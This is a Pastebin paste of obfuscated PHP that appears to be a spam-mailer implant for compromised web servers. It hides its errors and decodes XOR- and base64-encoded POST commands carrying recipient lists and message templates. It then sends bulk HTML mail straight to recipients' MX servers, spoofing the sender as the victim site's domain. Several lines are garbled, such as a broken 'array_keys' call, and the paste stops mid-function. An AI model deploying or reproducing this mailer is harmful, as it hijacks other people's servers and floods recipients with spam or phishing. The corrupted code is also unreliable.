Advertisement
Guest User

Untitled

a guest
Jun 15th, 2015
2,158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 26.35 KB | None | 0 0
  1. <?php
  2. $z26 = "jmiO@sxhFnD>J\r/u+RcHz3}g\nd{^8 ?eVwl_T\\\t|N5q)LobU]40!p%,rC-97k<'y=W:P\$1BI&S6\"E(K`Y~.Q;f[v2a#X*ZAGtM";
  3. $GLOBALS['mjwzy5'] = $
  4.     {
  5.     "_POST"
  6.     };
  7. @error_reporting(NULL);
  8. @ini_set("error_log", NULL);
  9. @ini_set("log_errors", 0);
  10. define("DNS_TYPE_MX", 0x000F);
  11. define("DNS_TYPE_A", 0x0001);
  12. define("DNS_TYPE_NS", 0x0002);
  13. define("DNS_STEP_QESTION", 1);
  14. define("DNS_STEP_ANSWER", 2);
  15. define("DNS_STEP_AUTHORITY", 3);
  16. define("DNS_STEP_ADDITIONAL", 4);
  17. define("SOCKET_TYPE_SOCKET", 1);
  18. define("SOCKET_TYPE_FSOCKET", 2);
  19. define("SOCKET_TYPE_STREAM", 4);
  20. define("SOCKET_TYPE_NO", 5);
  21. define("SOCKET_PROTO_TCP", 1);
  22. define("SOCKET_PROTO_UDP", 2);
  23. define("STEP_CONNECT", 0);
  24. define("STEP_CONNECTED", 1);
  25. define("STEP_EHLO", 2);
  26. define("STEP_MAILFROM", 3);
  27. define("STEP_RCPTTO", 4);
  28. define("STEP_DATA", 5);
  29. define("STEP_BODY", 6);
  30. define("STEP_QUIT", 7);
  31. define("STEP_COMPLETED", 8);
  32. itwro48($z26, NULL);
  33. $mdbih30 = array(
  34.     "toList" => "",
  35.     "fromLogin" => "",
  36.     "fromName" => "",
  37.     "subjTempl" => "",
  38.     "bodyTempl" => "",
  39.     "hostFrom" => ""
  40. );
  41.  
  42. if (FALSE == ikhls17($z26, $mdbih30))
  43.     {
  44.     echo PHP_OS . "+" . md5(0987654321) . "+01+[[]]
  45. ";
  46.     exit;
  47.     }
  48.  
  49. $kgjgx72 = array();
  50.  
  51. for ($irsck14 = 0; $irsck14 < count($mdbih30["toList"]); $irsck14++)
  52.     {
  53.     $ijxwp10 = array(
  54.         "id" => $irsck14,
  55.         "g_mailto" => "",
  56.         "g_mailto+" => "",
  57.         "g_mailfrom" => "",
  58.         "g_mailfrom+" => "",
  59.         "g_domainto" => "",
  60.         "g_domainfrom" => "",
  61.         "g_namefirst" => "",
  62.         "g_namelast" => "",
  63.         "g_body" => "",
  64.         "g_subject" => "",
  65.         "g_fff" => FALSE,
  66.         "g_header" => "",
  67.         "g_headerfrom" => "",
  68.         "s_header" => "",
  69.         "s_mxhost" => "",
  70.         "s_mxaddr" => FALSE,
  71.         "s_sock" => FALSE,
  72.         "s_time" => time() ,
  73.         "s_step" => constant("STEP_CONNECT") ,
  74.         "s_port" => 25,
  75.         "s_datain" => "",
  76.         "s_dataout" => "",
  77.         "s_trig" => FALSE,
  78.         "l_err" => "",
  79.         "l_done" => FALSE,
  80.         "l_way" => 0,
  81.         "l_failsmtp" => FALSE,
  82.         "l_smtp_end" => FALSE,
  83.     );
  84.     if (FALSE == xbzaw60($z26, $mdbih30["toList"][$irsck14], $mdbih30, $ijxwp10))
  85.         {
  86.         echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . jcrxt31($z26, $mdbih30["toList"][$irsck14]) . "]]
  87. ";
  88.         continue;
  89.         }
  90.  
  91.     $kgjgx72[] = $ijxwp10;
  92.     }
  93.  
  94. gtzjf94($z26, $kgjgx72);
  95. onsxx86($z26, $kgjgx72);
  96. nydwd49($z26, $kgjgx72);
  97. exit;
  98.  
  99. function nydwd49($z26, $kgjgx72)
  100.     {
  101.     $zixzg2 = 0;
  102.     $emwwo41 = "";
  103.     for ($irsck14 = 0; $irsck14 < count($kgjgx72); $irsck14++)
  104.         {
  105.         if ($kgjgx72[$irsck14]["l_failsmtp"] == TRUE)
  106.             {
  107.             echo PHP_OS . "+" . md5(2222222222) . "+04+[[" . jcrxt31($z26, $kgjgx72[$irsck14]["g_mailto"] . " :: " . $kgjgx72[$irsck14]["l_err"]) . "]]
  108. ";
  109.             }
  110.  
  111.         if ($kgjgx72[$irsck14]["l_done"] == TRUE)
  112.             {
  113.             $emwwo41.= $kgjgx72[$irsck14]["l_way"];
  114.             $zixzg2++;
  115.             }
  116.         }
  117.  
  118.     if ($zixzg2 == 0)
  119.         {
  120.         echo PHP_OS . "+" . md5(0987654321) . "+04+[[]]
  121. ";
  122.         }
  123.       else
  124.         {
  125.         echo "OK+" . md5(1234567890) . "+" . $zixzg2 . "+" . count($kgjgx72) . "[" . $emwwo41 . "]
  126. ";
  127.         }
  128.     }
  129.  
  130. function onsxx86($z26, &$kgjgx72)
  131.     {
  132.     if (!function_exists("mail"))
  133.         {
  134.         return FALSE;
  135.         }
  136.  
  137.     for ($irsck14 = 0; $irsck14 < count($kgjgx72); $irsck14++)
  138.         {
  139.         if ($kgjgx72[$irsck14]["l_done"] == TRUE)
  140.             {
  141.             continue;
  142.             }
  143.  
  144.         if ($kgjgx72[$irsck14]["g_fff"])
  145.             {
  146.             if (@mail($kgjgx72[$irsck14]["g_mailto+"], $kgjgx72[$irsck14]["g_subject"], $kgjgx72[$irsck14]["g_body"], $kgjgx72[$irsck14]["g_headerfrom"] . $kgjgx72[$irsck14]["g_header"], "-f" . $kgjgx72[$irsck14]["g_mailfrom"]))
  147.                 {
  148.                 $kgjgx72[$irsck14]["l_done"] = TRUE;
  149.                 $kgjgx72[$irsck14]["l_way"] = 2;
  150.                 }
  151.               else
  152.                 {
  153.                 $kgjgx72[$irsck14]["l_done"] = FALSE;
  154.                 }
  155.             }
  156.           else
  157.             {
  158.             if (@mail($kgjgx72[$irsck14]["g_mailto+"], $kgjgx72[$irsck14]["g_subject"], $kgjgx72[$irsck14]["g_body"], $kgjgx72[$irsck14]["g_header"]))
  159.                 {
  160.                 $kgjgx72[$irsck14]["l_done"] = TRUE;
  161.                 $kgjgx72[$irsck14]["l_way"] = 2;
  162.                 }
  163.               else
  164.                 {
  165.                 $kgjgx72[$irsck14]["l_done"] = FALSE;
  166.                 }
  167.             }
  168.         }
  169.     }
  170.  
  171. function gtzjf94($z26, &$kgjgx72)
  172.     {
  173.     while (hfrbo91($z26, $kgjgx72))
  174.         {
  175.         rmssi53($z26, $kgjgx72);
  176.         usleep(25000);
  177.         }
  178.     }
  179.  
  180. function vgefz59($z26, &$kgjgx72, $kkpzl95, $zbrar23, $doyaq76)
  181.     {
  182.     if ($kgjgx72[$kkpzl95]["s_sock"] != FALSE)
  183.         {
  184.         wowhk28($z26, $kgjgx72[$kkpzl95]["s_sock"]);
  185.         }
  186.  
  187.     $kgjgx72[$kkpzl95]["l_err"] = "[" . $kgjgx72[$kkpzl95]["s_step"] . "]" . trim(preg_replace("/
  188. /", " ", $zbrar23));
  189.     $kgjgx72[$kkpzl95]["l_failsmtp"] = $doyaq76;
  190.     $kgjgx72[$kkpzl95]["l_smtp_end"] = TRUE;
  191.     return;
  192.     }
  193.  
  194. function rmssi53($z26, &$kgjgx72)
  195.     {
  196.     $tbiem96 = time();
  197.     foreach($kgjgx72 as $kkpzl95 => $ijxwp10)
  198.         {
  199.         if ($ijxwp10["l_smtp_end"] == TRUE)
  200.             {
  201.             continue;
  202.             }
  203.  
  204.         if ($ijxwp10["s_time"] + 20 < $tbiem96)
  205.             {
  206.             if ($kgjgx72[$kkpzl95]["s_step"] == constant("STEP_CONNECT") && $kgjgx72[$kkpzl95]["s_port"] != 587)
  207.                 {
  208.                 wowhk28($z26, $kgjgx72[$kkpzl95]["s_sock"]);
  209.                 $kgjgx72[$kkpzl95]["s_port"] = 587;
  210.                 $kgjgx72[$kkpzl95]["s_time"] = time();
  211.                 continue;
  212.                 }
  213.  
  214.             vgefz59($z26, $kgjgx72, $kkpzl95, "timeout", FALSE);
  215.             continue;
  216.             }
  217.  
  218.         switch ($kgjgx72[$kkpzl95]["s_step"])
  219.             {
  220.         case constant("STEP_CONNECT"):
  221.             if ($kgjgx72[$kkpzl95]["s_mxaddr"] == FALSE)
  222.                 {
  223.                 $kgjgx72[$kkpzl95]["s_mxaddr"] = @gethostbyname($kgjgx72[$kkpzl95]["s_mxhost"]);
  224.                 if (!@preg_match("/([0-9]{1,3}\.?){4}/", $kgjgx72[$kkpzl95]["s_mxaddr"]))
  225.                     {
  226.                     vgefz59($z26, $kgjgx72, $kkpzl95, "resolve mx", FALSE);
  227.                     break;
  228.                     }
  229.                 }
  230.  
  231.             $qxohi56 = 0;
  232.             $qhovh99 = '';
  233.             $kgjgx72[$kkpzl95]["s_sock"] = jotsk26($z26, $kgjgx72[$kkpzl95]["s_sock"], constant("SOCKET_PROTO_TCP") , $kgjgx72[$kkpzl95]["s_mxaddr"], $kgjgx72[$kkpzl95]["s_port"], 2, $qxohi56, $qhovh99, TRUE);
  234.             if ($kgjgx72[$kkpzl95]["s_sock"] == FALSE)
  235.                 {
  236.                 break;
  237.                 }
  238.  
  239.             if ($qxohi56 == 0 || $qxohi56 === 56 || $qxohi56 === 10056)
  240.                 {
  241.                 $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_CONNECTED");
  242.                 hrvzk54($z26, $kgjgx72[$kkpzl95]["s_sock"], 15);
  243.                 $kgjgx72[$kkpzl95]["s_time"] = time();
  244.                 }
  245.  
  246.             break;
  247.  
  248.         case constant("STEP_CONNECTED"):
  249.             if (bchyk99($z26, $kgjgx72, $kkpzl95))
  250.                 {
  251.                 $kgjgx72[$kkpzl95]["s_datain"] = "";
  252.                 $kgjgx72[$kkpzl95]["s_dataout"] = "EHLO " . $kgjgx72[$kkpzl95]["g_domainfrom"] . "
  253. ";
  254.                 $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_EHLO");
  255.                 $kgjgx72[$kkpzl95]["s_time"] = time();
  256.                 }
  257.  
  258.             break;
  259.  
  260.         case constant("STEP_EHLO"):
  261.             if (zncig12($z26, $kgjgx72, $kkpzl95))
  262.                 {
  263.                 if (bchyk99($z26, $kgjgx72, $kkpzl95))
  264.                     {
  265.                     if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 250)
  266.                         {
  267.                         vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
  268.                         break;
  269.                         }
  270.  
  271.                     $kgjgx72[$kkpzl95]["s_datain"] = "";
  272.                     $kgjgx72[$kkpzl95]["s_dataout"] = "MAIL FROM:<" . $kgjgx72[$kkpzl95]["g_mailfrom"] . ">
  273. ";
  274.                     $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_MAILFROM");
  275.                     $kgjgx72[$kkpzl95]["s_time"] = time();
  276.                     }
  277.  
  278.                 break;
  279.                 }
  280.  
  281.             break;
  282.  
  283.         case constant("STEP_MAILFROM"):
  284.             if (zncig12($z26, $kgjgx72, $kkpzl95))
  285.                 {
  286.                 if (bchyk99($z26, $kgjgx72, $kkpzl95))
  287.                     {
  288.                     if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 250)
  289.                         {
  290.                         vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
  291.                         break;
  292.                         }
  293.  
  294.                     $kgjgx72[$kkpzl95]["s_datain"] = "";
  295.                     $kgjgx72[$kkpzl95]["s_dataout"] = "RCPT TO:<" . $kgjgx72[$kkpzl95]["g_mailto"] . ">
  296. ";
  297.                     $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_RCPTTO");
  298.                     $kgjgx72[$kkpzl95]["s_time"] = time();
  299.                     }
  300.  
  301.                 break;
  302.                 }
  303.  
  304.             break;
  305.  
  306.         case constant("STEP_RCPTTO"):
  307.             if (zncig12($z26, $kgjgx72, $kkpzl95))
  308.                 {
  309.                 if (bchyk99($z26, $kgjgx72, $kkpzl95))
  310.                     {
  311.                     if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 250 && substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 251)
  312.                         {
  313.                         vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
  314.                         break;
  315.                         }
  316.  
  317.                     $kgjgx72[$kkpzl95]["s_datain"] = "";
  318.                     $kgjgx72[$kkpzl95]["s_dataout"] = "DATA
  319. ";
  320.                     $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_DATA");
  321.                     $kgjgx72[$kkpzl95]["s_time"] = time();
  322.                     }
  323.  
  324.                 break;
  325.                 }
  326.  
  327.             break;
  328.  
  329.         case constant("STEP_DATA"):
  330.             if (zncig12($z26, $kgjgx72, $kkpzl95))
  331.                 {
  332.                 if (bchyk99($z26, $kgjgx72, $kkpzl95))
  333.                     {
  334.                     if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 354)
  335.                         {
  336.                         vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
  337.                         break;
  338.                         }
  339.  
  340.                     $kgjgx72[$kkpzl95]["s_datain"] = "";
  341.                     $kgjgx72[$kkpzl95]["s_dataout"] = $kgjgx72[$kkpzl95]["s_header"] . "
  342. " . $kgjgx72[$kkpzl95]["g_body"] . "
  343. .
  344. ";
  345.                     $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_BODY");
  346.                     $kgjgx72[$kkpzl95]["s_time"] = time();
  347.                     }
  348.  
  349.                 break;
  350.                 }
  351.  
  352.             break;
  353.  
  354.         case constant("STEP_BODY"):
  355.             if (zncig12($z26, $kgjgx72, $kkpzl95))
  356.                 {
  357.                 if (bchyk99($z26, $kgjgx72, $kkpzl95))
  358.                     {
  359.                     if (substr($kgjgx72[$kkpzl95]["s_datain"], 0, 3) != 250)
  360.                         {
  361.                         vgefz59($z26, $kgjgx72, $kkpzl95, $kgjgx72[$kkpzl95]["s_datain"], TRUE);
  362.                         break;
  363.                         }
  364.  
  365.                     $kgjgx72[$kkpzl95]["s_datain"] = "";
  366.                     $kgjgx72[$kkpzl95]["s_dataout"] = "QUIT
  367. ";
  368.                     $kgjgx72[$kkpzl95]["s_step"] = constant("STEP_QUIT");
  369.                     $kgjgx72[$kkpzl95]["s_time"] = time();
  370.                     $kgjgx72[$kkpzl95]["l_done"] = TRUE;
  371.                     $kgjgx72[$kkpzl95]["l_way"] = 1;
  372.                     }
  373.  
  374.                 break;
  375.                 }
  376.  
  377.             break;
  378.  
  379.         case constant("STEP_QUIT"):
  380.             if (zncig12($z26, $kgjgx72, $kkpzl95))
  381.                 {
  382.                 vgefz59($z26, $kgjgx72, $kkpzl95, "", FALSE);
  383.                 }
  384.  
  385.             break;
  386.             }
  387.         }
  388.     }
  389.  
  390. function bchyk99($z26, &$kgjgx72, $kkpzl95)
  391.     {
  392.     $qxohi56 = 0;
  393.     $qhovh99 = "";
  394.     if ($kgjgx72[$kkpzl95]["s_trig"] == FALSE)
  395.         {
  396.         if (strlen($kgjgx72[$kkpzl95]["s_datain"]) != 0)
  397.             {
  398.             return TRUE;
  399.             }
  400.  
  401.         return FALSE;
  402.         }
  403.  
  404.     $ssndb82 = dorhi25($z26, $kgjgx72[$kkpzl95]["s_sock"], 4086, $qxohi56, $qhovh99);
  405.     if ($ssndb82 == FALSE || $ssndb82 == "")
  406.         {
  407.         if ($qxohi56 != 35 && $qxohi56 != 10035 && $qxohi56 != 11 && $qxohi56 != 10060)
  408.             {
  409.             vgefz59($z26, $kgjgx72, $kkpzl95, $qhovh99, FALSE);
  410.             return FALSE;
  411.             }
  412.  
  413.         if (strlen($kgjgx72[$kkpzl95]["s_datain"]) != 0)
  414.             {
  415.             return TRUE;
  416.             }
  417.  
  418.         return FALSE;
  419.         }
  420.  
  421.     $kgjgx72[$kkpzl95]["s_datain"] = $ssndb82;
  422.     return FALSE;
  423.     }
  424.  
  425. function zncig12($z26, &$kgjgx72, $kkpzl95)
  426.     {
  427.     $qxohi56 = 0;
  428.     $qhovh99 = "";
  429.     if (strlen($kgjgx72[$kkpzl95]["s_dataout"]) == 0)
  430.         {
  431.         return TRUE;
  432.         }
  433.  
  434.     $ssndb82 = mqmpb31($z26, $kgjgx72[$kkpzl95]["s_sock"], $kgjgx72[$kkpzl95]["s_dataout"], $qxohi56, $qhovh99);
  435.     if ($ssndb82 == FALSE)
  436.         {
  437.         if ($qxohi56 != 35 && $qxohi56 != 10035 && $qxohi56 != 11 && $qxohi56 != 10060)
  438.             {
  439.             vgefz59($z26, $kgjgx72, $kkpzl95, $qhovh99, FALSE);
  440.             }
  441.  
  442.         return FALSE;
  443.         }
  444.  
  445.     $kgjgx72[$kkpzl95]["s_dataout"] = substr($kgjgx72[$kkpzl95]["s_dataout"], $ssndb82);
  446.     if (strlen($kgjgx72[$kkpzl95]["s_dataout"]) == 0)
  447.         {
  448.         return TRUE;
  449.         }
  450.  
  451.     return FALSE;
  452.     }
  453.  
  454. function hfrbo91($z26, &$kgjgx72)
  455.     {
  456.     $smtab80 = FALSE;
  457.     if (constant("SOCKET_TYPE") != constant("SOCKET_TYPE_SOCKET"))
  458.         {
  459.         foreach(array_k"ini_set."eys($kgjgx72) as $kkpzl95)
  460.             {
  461.             if ($kgjgx72[$kkpzl95]["l_smtp_end"] != TRUE)
  462.                 {
  463.                 $kgjgx72[$kkpzl95]["s_trig"] = TRUE;
  464.                 $smtab80 = TRUE;
  465.                 }
  466.             }
  467.  
  468.         return $smtab80;
  469.         }
  470.  
  471.     $ckces20 = array();
  472.     foreach(array_k"ini_set."eys($kgjgx72) as $kkpzl95)
  473.         {
  474.         if ($kgjgx72[$kkpzl95]["l_smtp_end"] != TRUE)
  475.             {
  476.             if ($kgjgx72[$kkpzl95]["s_sock"] == 0 || $kgjgx72[$kkpzl95]["s_step"] == constant("STEP_CONNECT"))
  477.                 {
  478.                 $kgjgx72[$kkpzl95]["s_trig"] = TRUE;
  479.                 }
  480.               else
  481.                 {
  482.                 $kgjgx72[$kkpzl95]["s_trig"] = FALSE;
  483.                 $ckces20[] = $kgjgx72[$kkpzl95]["s_sock"];
  484.                 }
  485.  
  486.             $smtab80 = TRUE;
  487.             }
  488.         }
  489.  
  490.     if (count($ckces20) == 0)
  491.         {
  492.         return $smtab80;
  493.         }
  494.  
  495.     $wzlix23 = @socket_select($ckces20, $ncwxo32 = NULL, $cdvox91 = NULL, 0);
  496.     if ($wzlix23 == FALSE || $wzlix23 == 0)
  497.         {
  498.         return $smtab80;
  499.         }
  500.  
  501.     foreach(array_k"ini_set."eys($kgjgx72) as $kkpzl95)
  502.         {
  503.         $kgjgx72[$kkpzl95]["s_trig"] = FALSE;
  504.         foreach($ckces20 as $faifd7)
  505.             {
  506.             if ($kgjgx72[$kkpzl95]["s_sock"] == $faifd7)
  507.                 {
  508.                 $kgjgx72[$kkpzl95]["s_trig"] = TRUE;
  509.                 break;
  510.                 }
  511.             }
  512.         }
  513.  
  514.     return $smtab80;
  515.     }
  516.  
  517. function itwro48($z26, $xyslz28)
  518.     {
  519.     if (function_exists("socket_create") && function_exists("socket_connect") && function_exists("socket_read") && function_exists("socket_write"))
  520.         {
  521.         define("SOCKET_TYPE", constant("SOCKET_TYPE_SOCKET"));
  522.         return TRUE;
  523.         }
  524.  
  525.     if (function_exists("fsockopen"))
  526.         {
  527.         define("SOCKET_TYPE", constant("SOCKET_TYPE_FSOCKET"));
  528.         return TRUE;
  529.         }
  530.  
  531.     if (function_exists("stream_socket_client"))
  532.         {
  533.         define("SOCKET_TYPE", constant("SOCKET_TYPE_STREAM"));
  534.         return TRUE;
  535.         }
  536.  
  537.     define("SOCKET_TYPE", constant("SOCKET_TYPE_NO"));
  538.     return FALSE;
  539.     }
  540.  
  541. function xbzaw60($z26, $gdyzo76, $mdbih30, &$ijxwp10)
  542.     {
  543.     $rpbtb4 = array();
  544.     if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $gdyzo76, $rpbtb4))
  545.         {
  546.         return FALSE;
  547.         }
  548.  
  549.     if (!isset($rpbtb4) || count($rpbtb4) != 5)
  550.         {
  551.         return FALSE;
  552.         }
  553.  
  554.     $ijxwp10["g_namefirst"] = @ucfirst(str_replace(";", "", $rpbtb4[1]));
  555.     $ijxwp10["g_namelast"] = @ucfirst(str_replace(";", "", $rpbtb4[2]));
  556.     $ijxwp10["g_mailto"] = str_replace(";", "", $rpbtb4[3]);
  557.     $ijxwp10["g_domainto"] = str_replace(";", "", $rpbtb4[4]);
  558.     if (!isset($ijxwp10["g_mailto"]) || $ijxwp10["g_mailto"] == "")
  559.         {
  560.         return FALSE;
  561.         }
  562.  
  563.     if (!isset($ijxwp10["g_domainto"]) || $ijxwp10["g_domainto"] == "")
  564.         {
  565.         return FALSE;
  566.         }
  567.  
  568.     if (isset($ijxwp10["g_namefirst"]) && $ijxwp10["g_namefirst"] != "")
  569.         {
  570.         $ijxwp10["g_mailto+"] = """.$ijxwp10["g_namefirst"]."".$ijxwp10["g_namelast"]."" <" . $ijxwp10["g_mailto"] . ">";
  571.         }
  572.       else
  573.         {
  574.         $ijxwp10["g_mailto+"] = $ijxwp10["g_mailto"];
  575.         }
  576.  
  577.     $ijxwp10["g_domainfrom"] = $mdbih30["hostFrom"];
  578.     if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $mdbih30["hostFrom"]) || @ini_get("safe_mode"))
  579.         {
  580.         $ijxwp10["g_fff"] = FALSE;
  581.         }
  582.       else
  583.         {
  584.         $ijxwp10["g_fff"] = TRUE;
  585.         }
  586.  
  587.     $ijxwp10["g_mailfrom"] = $mdbih30["fromLogin"] . "@" . $mdbih30["hostFrom"];
  588.     if (isset($mdbih30["fromName"]) && $mdbih30["fromName"] != "")
  589.         {
  590.         $ijxwp10["g_mailfrom+"] = $mdbih30["fromName"] . " <" . $ijxwp10["g_mailfrom"] . ">";
  591.         }
  592.       else
  593.         {
  594.         $ijxwp10["g_mailfrom+"] = $ijxwp10["g_mailfrom"];
  595.         }
  596.  
  597.     $ijxwp10["s_mxhost"] = xkjip29($z26, $ijxwp10["g_domainto"]);
  598.     $ijxwp10["g_subject"] = @str_replace("%R_NAME%", $ijxwp10["g_namefirst"], $mdbih30["subjTempl"]);
  599.     $ijxwp10["g_subject"] = @str_replace("%R_LNAME%", $ijxwp10["g_namelast"], $ijxwp10["g_subject"]);
  600.     $ijxwp10["g_body"] = @str_replace("%R_NAME%", $ijxwp10["g_namefirst"], $mdbih30["bodyTempl"]);
  601.     $ijxwp10["g_body"] = @str_replace("%R_LNAME%", $ijxwp10["g_namelast"], $ijxwp10["g_body"]);
  602.     $ijxwp10["g_body"] = @str_replace("%MAIL_EN%", jcrxt31($z26, $ijxwp10["g_mailto"]) , $ijxwp10["g_body"]);
  603.     $ijxwp10["g_header"] = "X-Priority: 3 (Normal)
  604. ";
  605.     $ijxwp10["g_header"].= "MIME-Version: 1.0
  606. ";
  607.     $ijxwp10["g_header"].= "Content-Type: text/html; charset="iso - 8859 - 1"
  608. ";
  609.     $ijxwp10["g_header"].= "Content-Transfer-Encoding: 8bit
  610. ";
  611.     $ijxwp10["g_headerfrom"] = "From: " . $ijxwp10["g_mailfrom+"] . "
  612. ";
  613.     $ijxwp10["g_headerfrom"].= "Reply-To:" . $ijxwp10["g_mailfrom+"] . "
  614. ";
  615.     $ijxwp10["s_header"] = "Date: " . @date("D, j M Y G:i:s O") . "
  616. ";
  617.     $ijxwp10["s_header"].= $ijxwp10["g_headerfrom"];
  618.     $ijxwp10["s_header"].= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time())) . "@" . $mdbih30["hostFrom"] . ">
  619. ";
  620.     $ijxwp10["s_header"].= "To: " . $ijxwp10["g_mailto+"] . "
  621. ";
  622.     $ijxwp10["s_header"].= "Subject: " . $ijxwp10["g_subject"] . "
  623. ";
  624.     $ijxwp10["s_header"].= $ijxwp10["g_header"];
  625.     return TRUE;
  626.     }
  627.  
  628. function xkjip29($z26, $uhspo24)
  629.     {
  630.     $fqavb1 = array();
  631.     $hwwwh60 = array();
  632.     if (function_exists("getmxrr"))
  633.         {
  634.         @getmxrr($uhspo24, $fqavb1, $hwwwh60);
  635.         }
  636.       else
  637.         {
  638.         if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO"))
  639.             {
  640.             return FALSE;
  641.             }
  642.  
  643.         $wzlix23 = nphbj94($z26, $uhspo24, constant("DNS_TYPE_MX"));
  644.         if ($wzlix23 == FALSE || !isset($wzlix23["ans"]))
  645.             {
  646.             return FALSE;
  647.             }
  648.  
  649.         foreach($wzlix23["ans"] as $ugagf46)
  650.             {
  651.             if ($ugagf46["type"] == constant("DNS_TYPE_MX"))
  652.                 {
  653.                 $fqavb1[] = $ugagf46["data"];
  654.                 $hwwwh60[] = $ugagf46["preference"];
  655.                 }
  656.             }
  657.         }
  658.  
  659.     if (count($fqavb1) == 0)
  660.         {
  661.         return FALSE;
  662.         }
  663.  
  664.     $lhdfv83 = array_k"ini_set."eys($hwwwh60, min($hwwwh60));
  665.     return $fqavb1[$lhdfv83[0]];
  666.     }
  667.  
  668. function ikhls17($z26, &$mdbih30)
  669.     {
  670.     if (count($GLOBALS['mjwzy5']) < 2)
  671.         {
  672.         return FALSE;
  673.         }
  674.  
  675.     $aqxkr9 = false;
  676.     $fiwht19 = $kbxes40 = "";
  677.     foreach(array_k"ini_set."eys($GLOBALS['mjwzy5']) as $rmszw41)
  678.         {
  679.         if ($rmszw41[0] == "l")
  680.             {
  681.             $fiwht19 = $rmszw41;
  682.             }
  683.  
  684.         if ($rmszw41[0] == "d")
  685.             {
  686.             $kbxes40 = $rmszw41;
  687.             }
  688.  
  689.         if ($rmszw41[0] == "e")
  690.             {
  691.             $aqxkr9 = true;
  692.             }
  693.         }
  694.  
  695.     if ($fiwht19 == "" || $kbxes40 == "")
  696.         {
  697.         return FALSE;
  698.         }
  699.  
  700.     $todgp59 = znlzs76($z26, $fiwht19, $aqxkr9);
  701.     $mnzfy44 = znlzs76($z26, $kbxes40, $aqxkr9);
  702.     if ($todgp59 == FALSE || $mnzfy44 == FALSE)
  703.         {
  704.         return FALSE;
  705.         }
  706.  
  707.     $mdbih30["toList"] = @preg_split("/#/", $todgp59);
  708.     $mdbih30["fromLogin"] = $mdbih30["fromName"] = $mdbih30["subjTempl"] = $mdbih30["bodyTempl"] = "";
  709.     $rpbtb4 = array();
  710.     if (FALSE !== @preg_match("/<USER>(.*?)<\/USER>/ism", $mnzfy44, $rpbtb4) && isset($rpbtb4) && count($rpbtb4) > 1)
  711.         {
  712.         $mdbih30["fromLogin"] = $rpbtb4[1];
  713.         }
  714.  
  715.     if (FALSE !== @preg_match("/<NAME>(.*?)<\/NAME>/ism", $mnzfy44, $rpbtb4) && isset($rpbtb4) && count($rpbtb4) > 1)
  716.         {
  717.         $mdbih30["fromName"] = $rpbtb4[1];
  718.         }
  719.  
  720.     if (FALSE !== @preg_match("/<SUBJ>(.*?)<\/SUBJ>/ism", $mnzfy44, $rpbtb4) && isset($rpbtb4) && count($rpbtb4) > 1)
  721.         {
  722.         $mdbih30["subjTempl"] = $rpbtb4[1];
  723.         }
  724.  
  725.     if (FALSE !== @preg_match("/<SBODY>(.*?)<\/SBODY>/ism", $mnzfy44, $rpbtb4) && isset($rpbtb4) && count($rpbtb4) > 1)
  726.         {
  727.         $mdbih30["bodyTempl"] = $rpbtb4[1];
  728.         }
  729.  
  730.     $mdbih30["hostFrom"] = @preg_replace("/^(www|ftp)\./i", '', $_SERVER["HTTP_HOST"]);
  731.     return TRUE;
  732.     }
  733.  
  734. function znlzs76($z26, $rmszw41, $aqxkr9)
  735.     {
  736.     if (!isset($rmszw41) || $rmszw41 == "")
  737.         {
  738.         return FALSE;
  739.         }
  740.  
  741.     $uikzk1 = @$GLOBALS['mjwzy5'][$rmszw41];
  742.     if ($aqxkr9)
  743.         {
  744.         $uikzk1 = mcsos2($z26, $uikzk1);
  745.         for ($lhdfv83 = 0; $lhdfv83 < strlen($uikzk1); $lhdfv83++)
  746.             {
  747.             $uikzk1[$lhdfv83] = chr(ord($uikzk1[$lhdfv83]) ^ 2);
  748.             }
  749.         }
  750.  
  751.     return urldecode(stripslashes($uikzk1));
  752.     }
  753.  
  754. function mcsos2($z26, $wbwms58)
  755.     {
  756.     $smtab80 = "";
  757.     for ($irsck14 = 0; $irsck14 < 256; $irsck14++)
  758.         {
  759.         $pishb35[$irsck14] = chr($irsck14);
  760.         }
  761.  
  762.     $woayt44 = array_flip(preg_split("//", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", -1, 1));
  763.     $abcgp89 = array();
  764.     preg_match_all("([A-z0-9+\/]{1,4})", $wbwms58, $abcgp89);
  765.     foreach($abcgp89[0] as $yoqlr75)
  766.         {
  767.         $dfltb35 = 0;
  768.         for ($irsck14 = 0; isset($yoqlr75[$irsck14]); $irsck14++)
  769.             {
  770.             $dfltb35 = ($dfltb35 << 6) + $woayt44[$yoqlr75[$irsck14]];
  771.             if ($irsck14 > 0)
  772.                 {
  773.                 $smtab80.= $pishb35[$dfltb35 >> (4 - (2 * ($irsck14 - 1))) ];
  774.                 $dfltb35 = $dfltb35 & (0xf >> (2 * ($irsck14 - 1)));
  775.                 }
  776.             }
  777.         }
  778.  
  779.     return $smtab80;
  780.     }
  781.  
  782. function jcrxt31($z26, $kdxpk32)
  783.     {
  784.     for ($lhdfv83 = 0; $lhdfv83 < strlen($kdxpk32); $lhdfv83++)
  785.         {
